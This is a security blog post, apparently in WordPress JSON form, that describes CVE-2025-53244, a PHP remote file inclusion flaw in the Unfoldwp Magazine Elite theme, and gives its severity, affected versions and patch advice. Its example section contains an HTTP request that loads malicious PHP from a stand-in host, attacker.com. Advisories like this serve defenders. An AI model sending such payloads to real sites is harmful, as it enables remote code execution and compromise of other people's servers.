{"id":72672,"date":"2025-09-07T17:10:18","date_gmt":"2025-09-07T17:10:18","guid":{"rendered":""},"modified":"2025-09-10T11:01:41","modified_gmt":"2025-09-10T17:01:41","slug":"cve-2025-53244-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-elite","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53244-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-elite\/","title":{"rendered":"<strong>CVE-2025-53244: PHP Remote File Inclusion Vulnerability in Unfoldwp Magazine Elite<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-53244 vulnerability is a critical flaw that lies in the improper control of filename for Include\/Require statement in PHP Program, also known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability affects the Unfoldwp Magazine Elite platform, a widely used content management system for online magazines. This flaw can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53192-critical-vulnerability-in-unsupported-apache-commons-ognl-leads-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80576\">potentially compromise an entire system or lead<\/a> to significant data leakage, making it a pressing concern for organizations that utilize the Unfoldwp Magazine Elite for their operations.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53244<br \/>\nSeverity: High (8.1 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80841\">System compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1594192120\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53227-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine-saga\/\"  data-wpil-monitor-id=\"85486\">Unfoldwp Magazine<\/a> Elite | n\/a &#8211; 1.2.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23310-remote-code-execution-vulnerability-in-nvidia-triton-inference-server\/\"  data-wpil-monitor-id=\"80309\">Remote File Inclusion vulnerability<\/a>, which allows an attacker to manipulate the PHP&#8217;s include\/require statements to include remote files from an external server. This is usually done by <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80784\">injecting malicious<\/a> URLs into system inputs. The attacker can then execute <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54253-misconfiguration-vulnerability-in-adobe-experience-manager-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80260\">arbitrary PHP code<\/a> in the context of the application, possibly leading to unauthorized access, data leakage, or even a full system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-223979976\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of an HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49382-cross-site-request-forgery-vulnerability-in-jobzilla-wordpress-theme\/\"  data-wpil-monitor-id=\"81161\">request exploiting this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_code.php HTTP\/1.1\nHost: vulnerable-website.com<\/code><\/pre>\n<p>In this example, the `file` parameter in the query string is manipulated to include a remote file (`malicious_code.php`) from an external server (`attacker.com`). This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81094\">file contains malicious PHP<\/a> code, which is executed when the request is processed by the server.<\/p>\n<p><strong>Recommendations<\/strong><\/p>\n<p>It is recommended to apply the vendor patch immediately to mitigate this vulnerability. In the absence of a patch, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure. Furthermore, organizations should regularly update their systems and applications to the latest versions and conduct regular <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53819-nix-package-manager-security-vulnerability-in-macos\/\"  data-wpil-monitor-id=\"80889\">security audits to identify and rectify any potential vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-53244 vulnerability is a critical flaw that lies in the improper control of filename for Include\/Require statement in PHP Program, also known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability affects the Unfoldwp Magazine Elite platform, a widely used content management system for online magazines. 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